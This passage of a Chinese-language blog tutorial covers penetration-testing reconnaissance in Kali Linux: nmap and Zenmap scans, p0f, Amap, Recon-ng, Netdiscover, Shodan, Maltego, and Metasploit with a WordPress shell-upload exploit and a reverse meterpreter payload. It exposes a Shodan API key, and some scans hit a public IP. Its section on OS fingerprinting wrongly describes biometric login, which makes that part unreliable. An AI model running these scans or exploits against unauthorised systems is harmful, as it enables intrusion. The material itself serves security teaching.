|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
110/tcp  open   pop3
443/tcp  closed https
888/tcp  open   accessbuilder
3306/tcp open   mysql
8888/tcp open   sun-answerbook

Nmap done: 1 IP address (1 host up) scanned in 754.78 seconds

image-20230608215046420

nmap --script vuln 169.254.218.205
>>
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-08 09:44 EDT
Nmap scan report for 169.254.218.205
Host is up (0.023s latency).
Not shown: 992 filtered tcp ports (no-response)
PORT     STATE  SERVICE
25/tcp   open   smtp
110/tcp  open   pop3
135/tcp  open   msrpc
139/tcp  open   netbios-ssn
445/tcp  open   microsoft-ds
1111/tcp closed lmsocialserver
3306/tcp open   mysql
5102/tcp closed admeng

Host script results:
|_smb-vuln-ms10-054: false
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR

Nmap done: 1 IP address (1 host up) scanned in 104.80 seconds

image-20230608215141126

这将运行名为 “vuln” 的 Nmap 脚本,用于检测目标 IP 地址上的漏洞。

  • 设置扫描速度/时间:
nmap -T4 target_ip
nmap -T4 169.254.218.205
>>
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-08 09:52 EDT
Warning: 169.254.218.205 giving up on port because retransmission cap hit (6).
Nmap scan report for 169.254.218.205
Host is up (0.072s latency).
Not shown: 982 closed tcp ports (reset)
PORT      STATE    SERVICE
25/tcp    open     smtp
110/tcp   open     pop3
135/tcp   open     msrpc
139/tcp   open     netbios-ssn
445/tcp   open     microsoft-ds
514/tcp   filtered shell
902/tcp   open     iss-realsecure
912/tcp   open     apex-mesh
1007/tcp  filtered unknown
1026/tcp  filtered LSA-or-nterm
1038/tcp  filtered mtqp
1455/tcp  filtered esl-lm
1862/tcp  filtered mysql-cm-agent
3306/tcp  open     mysql
5050/tcp  filtered mmcc
5989/tcp  filtered wbem-https
32771/tcp filtered sometimes-rpc5
50003/tcp filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 162.75 seconds

image-20230608215631499

nmap -T4 118.193.46.232
>>
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-08 09:53 EDT
Nmap scan report for 118.193.46.232
Host is up (0.0087s latency).
Not shown: 994 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
110/tcp  open  pop3
3306/tcp open  mysql
8888/tcp open  sun-answerbook

Nmap done: 1 IP address (1 host up) scanned in 49.26 seconds

image-20230608215702013

使用此命令,您可以设置 Nmap 的扫描速度/时间。在示例中,使用级别 4 表示较快的扫描速度。

  • 启用操作系统识别、版本探测和脚本扫描:
nmap -A target_ip
nmap -A 118.193.46.232
>>Starting Nmap 7.70 ( https://nmap.org ) at 2023-06-08 09:58 EDT
Nmap scan report for 118.193.46.232
Host is up (0.020s latency).
Not shown: 995 filtered ports
PORT    STATE SERVICE    VERSION
22/tcp  open  tcpwrapped
25/tcp  open  tcpwrapped
|_smtp-commands: Couldn't establish connection on port 25
80/tcp  open  tcpwrapped
110/tcp open  tcpwrapped
888/tcp open  tcpwrapped
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|WAP|phone
Running: iPXE 1.X, Linux 2.4.X|2.6.X, Sony Ericsson embedded
OS CPE: cpe:/o:ipxe:ipxe:1.0.0%2b cpe:/o:linux:linux_kernel:2.4.20 cpe:/o:linux:linux_kernel:2.6.22 cpe:/h:sonyericsson:u8i_vivaz
OS details: iPXE 1.0.0+, Tomato 1.28 (Linux 2.4.20), Tomato firmware (Linux 2.6.22), Sony Ericsson U8i Vivaz mobile phone

TRACEROUTE (using port 80/tcp)
HOP RTT    ADDRESS
1   ... 30

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.75 seconds

image-20230608220525490

该命令启用了操作系统识别、版本探测和脚本扫描功能,提供了更全面的信息收集和分析。

  • 指定输出文件的前缀:

    nmap -oA output_file_prefix target_ip
    
    • nmap的-oA选项允许同时将三种格式的输出文件存储到一个文件名相同的目录中,即在一个操作中生成nmap格式、grepable文件格式和XML格式的输出文件。
    • -oN:指定nmap格式的输出文件,格式为[文件前缀].nmap
    • -oG:指定grepable格式的输出文件,格式为[文件前缀].gnmap
    • -oX:指定XML格式的输出文件,格式为[文件前缀].xml
    • 使用-oA选项可以一次性将所有文件都生成,并且它们会出现在同一个目录中,命名格式为[文件前缀].nmap[文件前缀].gnmap[文件前缀].xml

以下是使用-oA选项的语法:

nmap -oA [输出文件前缀] [目标IP地址]

例如,如果要扫描192.168.1.1 IP地址,并将扫描结果以“output_scan”为文件前缀保存在“/home/user/output/”文件夹中,则可以使用以下命令:

nmap -oA /home/user/output/output_scan 192.168.1.1

扫描结果将保存为/home/user/output/output_scan.nmap/home/user/output/output_scan.gnmap/home/user/output/output_scan.xml这三个文件。

使用-oA选项可以方便地将扫描结果保存到一个目录中,并且能够方便地比较和分析不同格式的输出文件。

  • 操作
nmap -oA test_A 118.193.46.232
>>
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-08 10:33 EDT
Nmap scan report for 118.193.46.232
Host is up (0.013s latency).
Not shown: 994 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
110/tcp  open  pop3
3306/tcp open  mysql
8888/tcp open  sun-answerbook

Nmap done: 1 IP address (1 host up) scanned in 4.80 seconds

image-20230608225104057

image-20230608230737598

使用此命令,您可以指定输出文件的前缀,Nmap 将生成多个输出文件,包括文本、XML 和 nmap 格式 的文件。

  • 显示详细输出信息:
nmap -v target_ip
nmap -v 118.193.46.232

image-20230608225743361

使用此命令,Nmap 将显示更详细的扫描输出信息,包括每个扫描步骤的进展情况和结果。

4.4 查看打开的端口

4.4.1 TCP端口扫描工具Nmap

使用Nmap工具查看目标主机169.254.218.205上开放的端口号。

 nmap 169.254.218.205
  1. 指定扫描端口范围

如果目标主机上打开的端口较多时,用户查看起来可能有点困难。这时候用户可以使用Nmap指定扫描的端口范围,如指定扫描端口号在1-1000之间的端口号,

执行命令如下所示:

root@kali:~# nmap -p 1-1000 169.254.218.205

image-20230601165330354

  1. 扫描特定端口

Nmap工具还可以指定一个特定端口号来扫描。

**【实例4-2】**使用Nmap工具指定扫描在169.254.218.*网段内所有开启TCP端口22的主机。

执行命令如下所示:

root@kali:~# nmap -p 22 169.254.218.*

image-20230601170131015

输出的结果显示了 169.254.218.*网段内所有开启 22 端口的主机信息。(部分截图)

使用NMAP工具还可以指定扫描端口22结果的输出格式。

执行命令如下所示:

root@kali:~# nmap -p 22 169.254.218.* -oG /tmp/nmap-targethost-tcp445.txt

image-20230601170844162

执行以上命令后输出的信息与第三步中输出的结果类似,这里就不再列举。但是执行该命令后,Nmap 会将输出的信息保存到/tmp/nmap-targethost-tcp445.txt 文件中

image-20230601170954488

4.4.2 图形化TCP端口扫描工具Zenmap

Zenmap是Nmap发现GUI版本,Zenmap是一个图形化的网络扫描工具,它是Nmap的一个前端界面,可以帮助用户更方便地使用Nmap进行端口扫描和主机发现等操作。

Zenmap提供了多种扫描选项和过滤器,可以根据用户的需求进行定制化配置,同时还支持多种输出格式,包括文本、XML和HTML等。Zenmap还提供了一些常用的扫描配置模板,例如快速扫描、操作系统检测、漏洞扫描等,方便用户快速进行常规的安全检测。

总之,Zenmap是一个功能强大、易于使用的网络扫描工具,适用于安全测试、网络管理和系统维护等领域。

教材:Zenmap是NMAP官方推出的一款基于NMAP的安全扫描图形用户界面。它的设计目标是快速地扫描大型网络,当然也可以使用它扫描单个主机。

新版的kali linux 已不自带zenmap,2018版的也没有,需要自己安装

1.使用需要安装zenmap的kali Linux的浏览器访问nmap的官网https://nmap.org

image-20230601173152240

选择Linux (RPM)

image-20230601173424863

往下滑,点击Optional Zenmap GUI (all platforms): zenmap-7.94-1.noarch.rpm进行下载

image-20230601173654752

2. 安装rpm格式转化工具fakeroot

因为Kali2020 不支持 rpm 命令,我们要将rpm包转换为deb格式的包,fakeroot工具就有这样的功能。

终端输入(建议在root下)

apt-get install alien fakeroot

image-20230601174433370

sudo apt-get install alien fakeroot

3. 将rpm包转换为deb格式

image-20230601174801089

image-20230601174951064

终端输入以下命令:

fakeroot alien (rpm包名)
即:fakeroot alien zenmap-7.94-1.noarch.rpm

image-20230601175201210

此时会多出一个转换后的deb包。(可以用ls命令查看是否在当前路径下,不在的话一般放在/root/目录下,我的是在当前目录下的)

image-20230601175450650

4.安装deb包格式的Zenmap

dpkg -i (deb包名)
即:dpkg -i zenmap_7.94-2_all.deb

image-20230601175936193

图示为安装正常。

5. 安装完成,打开Zenmap。

选择kali linux,

image-20230601180526696

搜索Zenmap,打开

image-20230601180725396

当然,也可以在终端使用zenmap命令打开==(注意:命令是小写)==

image-20230601180955229

打开如下:

image-20230601181242855

6.Zenmap软件图形化介绍

image-20230601181505276

首页介绍,Zenamp生成的命令可以在命令行中直接运行,前提要安装Nmap命令包,不然Zenmap也无法使用。

端口/主机,这个模块可以看出扫描出的端口、协议、状态、服务、以及版本信息。

image-20230601181624277

拓扑,这个模块可以实现路由跟踪

本地主机到目标主机经过多少个设备叫做路由跟踪

image-20230601181658699

主机明细,这个模块可以清晰的看到目标主机的操作系统版本、使用的端口。

==注意:==有的主机可能扫出的操作系统不准确,可能被防火墙某种规则拦截或本地安全软件拦截导致扫出的操作系统精确度低。

image-20230601181737494

扫描,这个模块不常用,在这个模块可以导入扫描文件或删除扫描命令

7.Nmap所识别的6个端口状态

7.1、open(开放的)
如果扫描该端口显示open证明该应用端口属于开放的。安全意识强的人 们知道每个开放的端口都是攻击的入口。

7.2、closed(关闭的)
如果扫描该端口显示closed证明该应用端口是关闭的,但是关闭的端口对于Nmap也是可访问的。

7.3、filtered(被过滤的)
如果扫描该端口显示filtered证明该应用端口可能被过滤,大概意思就是可能被专业的防火墙设备,路由器规则或者主机上的软件防火墙拦截下来了。

7.4、unfiltered(未被过滤的)
如果扫描该端口显示unfiltered证明可以访问的,但是Nmap不确定它是开放还是关闭。只有映射防火墙规则集的ACK扫描才会把端口分类到这种状态。用其他类型的扫描如窗口扫描,SYN扫描,或者FIN扫描来扫描未被过滤的端口可以帮忙确定该端口是否开放。

7.5、open|filtered(开放或者被过滤的)
如果扫描该端口显示open|filtered表示Nmap无法确定该端口是开放还是被过滤的。

7.6、closed|filterd(关闭或者被过滤的)
如果扫描该端口显示closed|filterd表示Nmap也不能确定该端口是否是关闭还是过滤的。

8.Intense scan (强扫描)(命令可以再终端运行,部分必须是root)

nmap -T4 -A -v 169.254.218.205    //强扫描,可以满足一般要求的扫描
-T4(0-5)  加快执行速度(速度越快越容易被发现)-A  操作系统与版本号进行探测。
-v  显示详细信息。

image-20230601183602464

结果:

image-20230601183652995

9. Intense scan plus UDP (UDP扫描)

nmap -sS -sU -T4 -A -v 169.254.218.*     //UDP扫描  扫描速度慢
-sS  半连接扫描
-Su  UDP扫描

image-20230601184956698

10.Intense scan, all TCP ports (扫描所有TCP端口)

nmap -p 1-65535 -T4 -A -v 192.168.2.1   //扫描所有TCP端口,范围在1-65535之间
-p 指定端口扫描范围
nmap -p 1-65535 -T4 -A -v 169.254.218.205

image-20230601185211655

image-20230601185330192

11.Intense scan, no ping (非Ping扫描)

nmap -T4 -A -v -Pn 169.254.218.205    //非Ping扫描
-Pn   非Ping扫描

image-20230601185540671

12.Ping scan (Ping扫描)

nmap -sn 169.254.218.205   //Ping扫描,速度快,容易被防火墙屏蔽,导致无扫描结果
-sn  Ping扫描(关闭端口扫描)

image-20230601185805592

13.Quick scan (快速扫描模式)

nmap -T4 -F 169.254.218.205   //快速扫描,容易被防火墙拦截 	
-F  快速模式

image-20230601190038422

13.Quick traceroute (路由跟踪)

nmap -sn --traceroute 169.254.218.205   //路由跟踪
--traceroute 显示本机到目标跃点

image-20230601190645476

image-20230601190713214

14.Regular scan (常规扫描)

nmap 169.254.218.205   //常规扫描,不加任何参数

image-20230601191023649

image-20230601191106886

15.Quick scan plus (快速扫描加强模式)

nmap -sV -T4 -O -F --version-light 169.254.218.205 //快速扫描加强模式
-sV 探测端口及版本服务信息
-O  扫描操作系统类型
--version-light 设定侦测等级为2

image-20230601191705668

image-20230601191637675

16.Slow comprehensive scan (全面扫描)

nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" 169.254.218.205    //全面扫描
--script 脚本名   //使用脚本扫描
-PE;-PP    // ICMP Ping Types扫描
-PS80,443   //对于80,443端口采用SYN包对目标进行扫描
-PA3389   //对于3389端口采用ACK包对目标进行扫描
-PU40125  //对于40125端口采用UDP开放端口

image-20230601192011499

image-20230601192043991

17.使用脚本扫描

选择"配置">“新的配置或命令”

image-20230601192412215

弹出"配置编辑器"后-选择"脚本"

image-20230601192853606

左面选项框里全是现成的脚本,你也可以自己往里写一个脚本或者添加脚本。

例如:

image-20230601193149415

image-20230601193247947

4.5 系统指纹识别

系统指纹识别是指在计算机系统中使用指纹识别技术进行身份验证和访问控制。它可以通过扫描用户的指纹来验证其身份并允许其访问系统或应用程序。系统指纹识别具有高度的准确性和安全性,因为每个人的指纹都是唯一的,难以伪造或复制。它还可以提高工作效率和用户体验,因为它可以消除复杂的密码输入过程,并且可以在短时间内快速完成身份验证。系统指纹识别技术已经应用于智能手机、平板电脑、笔记本电脑、门禁系统和银行系统等领域

4.5.1 使用NMAP工具识别系统指纹信息

  1. 使用Nmap命令的-O选项启用操作系统测试功能

打开终端或命令行窗口,输入以下命令:

nmap -O 目标IP地址
nmap -O 192.168.2.3
nmap -O 192.168.140.22

其中,“-O”参数表示进行操作系统识别。

  1. 等待扫描结果。Nmap会扫描目标主机的开放端口和服务,并尝试识别操作系统类型。

  2. 查看扫描结果。Nmap会输出扫描结果,包括目标主机的IP地址、开放端口、服务和操作系统类型等信息。

结果:

image-20230613184508402

输出的信息显示了主机 的指纹信息,包括目标主机打开的端口、MAC地址、操作系统类型和内核版本等。

4.5.2 指纹识别工具p0f

简介

p0f 是一款用于 passivetools.org 的网络流量分析工具,可用于识别和监视网络中的主机和操作系统。

  1. 打开终端并更新软件包列表:sudo apt update

  2. 安装p0f:sudo apt install p0f

image-20230613185804968

  1. 安装完成后,可以使用以下命令来运行p0f:

    sudo p0f -i eth0
    

其中,eth0是你要监视的网络接口。你可以将其替换为你想要监视的接口名称。

基本用法

p0f [options]

options:

-i <interface> :指定要监听的网络接口。

-p <file> :指定用于读取数据包的文件。

-s <file> :指定用于保存状态信息的文件。

-d :启用调试模式,输出更详细的调试信息。

-h :显示帮助信息。

示例

  1. 监听网络接口并识别主机和操作系统:
p0f -i eth0

image-20230613193355434

  1. 从数据包文件中分析流量:
p0f -p packets.pcap
  1. 保存状态信息到文件并恢复状态:
p0f -s p0f.state

image-20230613195047293

  1. p0f -o [filedir] 指定输出格式。具体来说, -o 选项后面可以跟随以下值之一来指定输出的格 式:
  • simple :简单输出格式,仅包含基本的识别结果。

  • json :以 JSON 格式输出结果。

  • csv :以逗号分隔的值 (CSV) 格式输出结果。

  • xml :以 XML 格式输出结果。

附加资源

官方网站:http://lcamtuf.coredump.cx/p0f3/

官方文档:http://lcamtuf.coredump.cx/p0f3/docs.html

4.6 服务的指纹识别

服务指纹是一种用于识别和跟踪网络服务的技术。它通过收集和分析服务的元数据,如端口号、协议类型、服务版本等信息,生成一个唯一的服务指纹。

4.6.1 使用Nmap工具识别服务指纹信息

使用Nmap工具查看169.254.218.205服务上正在运行的端口。

执行命令如下所示:

nmap -sV 169.254.218.205

其中,-sV参数表示使用服务指纹识别功能,<目标IP地址>为你要扫描的目标IP地址。

执行命令后,Nmap会扫描目标主机的开放端口,并尝试识别每个端口上运行的服务及其版本信息。

输出结果中,会显示每个端口的状态、服务名称、版本信息等详细信息。

image-20230613192716909

4.6.2 服务枚举工具Amap

Amap是一个服务器枚举工具,使用这个工具可以识别正运行在一个指定端口或一个范围端口上的应用程序 ,Amap 是一个检特定端口上运行的应用程序的工具。Amap 工作原理是向端口发送触发报文,然后将收到的回应与数据 库中结果进行匹配,并打印匹配的应用程序。

kali linux安装服务枚举工具Amap

  1. 打开终端,输入以下命令以安装amap:
apt install amap

image-20230601222450066

  1. 验证Ampa是否已安装:
 ampa --version

image-20230601222518290

安装成功。

  1. 使用 Amap 工具在指定的 50~1000 端口范围内,测试目标主机169.254.218.205上正在运行的应用程序。

执行命令如下所示:

amap -bq 169.254.218.205 50-1000

image-20230613193543104

4.7 其它信息收集手段

4.7.1 Recon-NG框架

简介

Recon-NG是由python编写的一个开源的Web侦查(信息收集)框架。Recon-ng框架是一个强大的工具,使用它可以自动的收集信息和网络侦查。

启动Recon-NG框架。

执行命令如下所示:

recon-ng

image-20230613193846904

首次使用Recon-NG框架之前,可以使用help命令查看所有可执行的命令。

如下所示:

[recon-ng][default] > help 或 recon-ng -h

image-20230613194203636

用法

参数 说明
back 返回上一级
dashboard 显示活动的总结
db 工作区的数据库页面
exit 退出recon-ng
help 帮助信息
index 创造一个模块
keys 管理第三方的api接口
marketplace 应用市场
modules 已经安装的模块
option 管理当前文本的选项
pdb 打开python进行调试
script 记录并执行命令脚本
shell 执行操作系统命令
show 显示各种框架的条目
snapshots 管理一个快照
spool 将结果输出到一个文件里
modules 命令介绍
modules load 加载某个模块
modules reload 退出某个模块
modules search 搜索某个模块

可以使用show modules命令查看所有有效的模块列表。

执行命令如下所示:

[recon-ng][default] > show modules

image-20230613195251939

4.7.2 ARP侦查工具Netdiscover

简介

Netdiscover是一个主动/被动的ARP侦查工具。使用Netdiscover工具可以在网络上扫描IP地址,检查在线主机或搜索为它们发送的ARP请求。

Netdiscover可以使用简单的命令行参数来控制扫描范围和扫描速度,并且提供了多种输出格式,例如文本、XML和HTML等。它还支持在网卡层面设置过滤规则以排除不需要扫描的主机或网络噪声干扰。

语法格式如下:

netdiscover [-i device] [-r range | -l file | -p] [-s time] [-n node] [-c count] [-f] [-d] [-S] [-P] [-C]
选项 说明
-i device 指定网络设备接口。
-r range 指定扫描网络范围。
-l file 指定扫描范围列表文件。
-p 使用被动模式,不发送任何数据。
-s time 每个ARP请求之间的睡眠时间。
-n node 使用八字节的形式扫描。
-c count 发送ARP请求的时间次数。
-f 使用主动模式。
-d 忽略配置文件
-S 启用每个ARP请求之间抑制的睡眠时间。
-P 打印结果。
-L 将捕获信息输出,并继续进行扫描。

【实例4-5】使用Netdiscover工具攻击扫描局域网中所有的主机。

执行命令如下所示:

netdiscover

执行以上命令后,将显示如下所示的信息:

image-20230613202926049

4.7.3 搜索引擎工具Shodan

Shodan是一款专门用于搜索、分析和监视与Internet连接的设备、仪器和工具的搜索引擎。它类似于Google,但是它不是在网站上搜索,而是在互联网上搜索各种与网络连接的设备,包括摄像头、路由器、服务器、智能家居设备等等。Shodan利用各种协议来搜索,例如HTTP、FTP、SSH和SNMP等等。由于Shodan可以搜索到一些未经身份验证的设备,因此它是黑客和安全研究人员喜爱使用的工具。同时,Shodan也可用于许多其他用途,如设备发现、资产管理、网络监控,并且提供API和基础设施以便于开发者和研究人员进行更深入的数据分析和利用。

hodan的官网网址是:https://www.shodan.io/

image-20230613203154735

  1. CITY和COUNTRY命令

使用City和Country命令可以缩小搜索的地理位置。

例如:

country:US表示从美国进行搜索。
city:Memphis表示从孟斐斯城市搜索。

City和Country命令也可以结合使用。
例如:

country:US city:Memphis
  1. HOSTNAME命令

HOSTNAME命令通过指定主机名来扫描整个域名。

hostname:google表示搜索google主机。
  1. NET命令

使用NET命令扫描单个IP或一个网络范围。

如下所示:

net:192.168.1.10:扫描主机192.168.1.10。
net:192.168.1.0/24:扫描192.168.1.0/24网络内所有主机。
  1. TITLE命令

使用Title命令可以搜索项目。

如下所示:

title:“Server Room”  表示搜索服务器机房信息。
  1. 关键字搜索

Shodan使用一个关键字搜索是最受欢迎的方式。如果知道目标系统使用的服务器类型或嵌入式服务器名,来搜索一个Web页面是很容易的。

如下所示:

  • apache/2.2.8 200 ok:表示搜索所有Apache服务正在运行的2.2.8版本,并且仅搜索打开的站点。
  • apache/2.2.8 -401 -302:表示跳过显示401的非法页或302删除页。
  1. 组合搜索
  • IIS/7.0 hostname:YourCompany.com city:Boston表示搜索在波士顿所有正在运行IIS/7.0的Microsoft服务器。
  • IIS/5.0 hostname:YourCompany.com country:FR表示搜索在法国所有运行IIS/5.0的系统。
  • Title:camera hostname:YourCompany.com表示在某台主机中标题为camera的信息。
  • geo:33.5,36.3 os:Linux表示使用坐标轴(经度33.5,纬度36.3)的形式搜索Linux操作系统。

7.其它搜索术语

  • Port:通过端口号搜索。
  • OS:通过操作系统搜索。
  • AfterBefore:使用时间搜索服务。

【实例4-6】使用Metasploit实现Shodan搜索。具体操作步骤如下所示:

(1)在Shodanhq.com网站注册一个免费的账户。

image-20230613213239177

(2)从http://www.shodanhq.com/api_doc网站获取API key,获取界面如图4.8所示。获取API key,为了在后面使用。

KeL4cQZzN5ZhSW5hBlfhnlABQJm831zH

(3)启动PostgreSQL服务。

service postgresql start

(4)启动Metasploit服务。

service metasploit start

(5)启动MSF终端。

msfconsole
msf >

image-20230613213506351

(6)选择auxiliary/gather/shodan_search模块。

msf > use auxiliary/gather/shodan_search 
msf auxiliary(shodan_search) > show options

image-20230613213545781

(7)配置QUERYSHODAN_APIKEY选项参数。执行命令如下所示:

msf auxiliary(shodan_search) > set SHODAN_APIKEY KeL4cQZzN5ZhSW5hBlfhnlABQJm831zH

SHODAN_APIKEY => KeL4cQZzN5ZhSW5hBlfhnlABQJm831zH

msf auxiliary(shodan_search) > set QUERY iomega
QUERY => iomega

(8)启动搜索引擎。执行命令如下所示:

msf auxiliary(shodan_search) > run

image-20230613213807555

4.8 绘制网络结构图

CaseFile是一个基于图表的情报收集和分析工具。其主要功能是通过在图表上添加节点、边缘和属性来创建和管理情报。CaseFile常被用于以下场景:

  • 手动分析邮件、文档和其他数字文件,以发现隐藏的关系和模式。
  • 合并多个来源的数据,以便更容易地发现威胁或机会。
  • 分析社交网络和犯罪网络,以便快速了解他们的组织结构、成员和行动计划。

使用CaseFile,可以构建自己的知识库和情报库,并随时更新其中的信息。这样做可以大大提高对特定主题/目标的理解和分析水平,并更好地支持后续决策制定。同时,CaseFile也支持将数据导出为其他格式,如CSV、GEXF、PDF等。

在使用CaseFile时,您需要先了解如何创建节点、边缘和属性,并知道如何在图表上进行布局和导航。然后,您需要学习如何通过不同的工具和面板来编辑和管理图表上的元素,例如,添加注释、标签,导入/导出数据和进行过滤和搜索。最后,您需要知道如何使用CaseFile的API和插件系统扩展其功能。

要在Kali中安装CaseFile,您需要按照以下步骤进行操作:

  1. 打开终端窗口,在命令提示符下输入以下命令,以便更新系统软件包清单和软件包存储库索引:
sudo apt-get update
  1. 在终端中输入以下命令来安装Maltego:
sudo apt-get install maltego
  1. 安装完成后,打开Maltego并登录。

image-20230613215156723

  1. 选择“Transform Manager(转换管理器)”选项卡,然后选择“Configure settings(配置设置)”:
  2. 在“Transforms configuration directory(转换配置目录)”选项卡中,单击“Open transforms configuration directory(打开转换配置目录)”:
  3. 在打开的文件夹中,查找名为“CaseFile.conf”的文件,并复制它到您的本地文件夹中。
  4. 将“CaseFile.conf”文件重命名为“casefile.mtz”。
  5. 双击“casefile.mtz”文件以安装CaseFile插件。在安装过程中,可能需要您在Maltego中输入凭据才能完成安装。
  6. 安装完成后,您可以在Transforms选项卡中使用CaseFile工具来创建您的拓扑图。

请注意,安装CaseFile插件需要具有管理员权限的用户登录到Kali中。如果您没有管理员权限,请联系您的系统管理员或让他们为您安装插件。

image-20230613215338833

【实例4-7】使用CaseFile工具绘制一个网络结构图。

在终端输入maltego,进入应用程序

image-20230727111134510

image-20230613215708339

注册

image-20230613215932483

image-20230613220252805

选择 “'new",新建拓扑图

image-20230613220410389

网络拓扑图如下:

image-20230613221104744

4.9 Metasploit Framework

4.9.1 简介

Metasploit Framework(Metasploit)是一款广泛使用的渗透测试和漏洞利用工具,由Rapid7开 发和维护。它提供了一套强大的功能和模块,用于发现、验证和利用系统中的安全漏洞。

  1. 渗透测试:Metasploit Framework可以用于进行渗透测试,通过模拟真实的攻击场景,测试 目标系统的安全性,并发现潜在的漏洞。
  2. 模块化框架:Metasploit基于模块化的架构,它提供了多种类型的模块,包括漏洞利用模 块、扫描模块、负载模块、辅助模块等,用户可以根据需要选择和配置模块来执行特定的任务。
  3. Vulnerability Exploitation: Metasploit Framework provides a large number of vulnerability exploitation modules that can help security professionals verify vulnerabilities in the system and exploit them accordingly. These modules include exploit code for a variety of operating systems, applications, and services.
  4. Meterpreter: Meterpreter is a post-exploitation tool for the Metasploit Framework, which provides a powerful remote access and control platform. Using Meterpreter, security professionals can perform a variety of operations on compromised systems, including file transfers, remote command execution, screen captures, keylogging, and more.
  5. Community support: Metasploit Framework has an active open source community where users can obtain modules, exploit scripts and other resources and exchange experiences and knowledge with other security professionals.
  6. Metasploit Pro: In addition to the open source Metasploit Framework, Rapid7 also provides Metasploit Pro, which is a commercial version that provides more features and support and is suitable for enterprise-level penetration testing needs.

4.9.2 Use

  1. Start Msfconsole:
msfconsole

image-20230614213322660

  1. List available modules:
msf > show modules
  1. Search for a specific type of module:
msf > search type:payload

image-20230614215007507

msf > search type:auxiliary

image-20230614215111183

  1. Select a module and set parameters:
msf exploit(wp_admin_shell_upload) > set RHOSTS 192.168.0.10
msf exploit(wp_admin_shell_upload) > set PAYLOAD php/meterpreter/reverse_tcp
msf exploit(wp_admin_shell_upload) > set LHOST 192.168.0.2

Specific steps are as follows:

  • Use searchthe command to search for exploit modules
msf6 > search wp_admin_shell_upload

image-20230614220340399

  • Select the exploit module and set parameters. Use usethe command to select the module to be used, and use show optionsthe command to check the parameters required by the module.
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
msf6 exploit(wp_admin_shell_upload) > show options

image-20230614221046585

  • Use setthe command to set values ​​for required and optional parameters and set the target IP address:
msf6 exploit(wp_admin_shell_upload) > set RHOSTS 192.168.0.10
msf6 exploit(wp_admin_shell_upload) > set PAYLOAD php/meterpreter/reverse_tcp
msf6 exploit(wp_admin_shell_upload) > set LHOST 192.168.0.2

image-20230614221503156

  1. View the module's options and defaults:
msf6 exploit(wp_admin_shell_upload) > show options

image-20230614221740106

  1. Run the module:
msf exploit(wp_admin_shell_upload) > exploit 
  1. Using a Meterpreter session:
msf exploit(wp_admin_shell_upload) > sessions -i 1

image-20230614224424278

  1. List acquired sessions:
msf > sessions

9. Use resource files to execute a series of commands:

msf > resource /path/to/resource.rc
  1. Exit Msfconsole:
msf > exit

image-20230614224923807

Guess you like

Origin blog.csdn.net/m0_63451989/article/details/132686588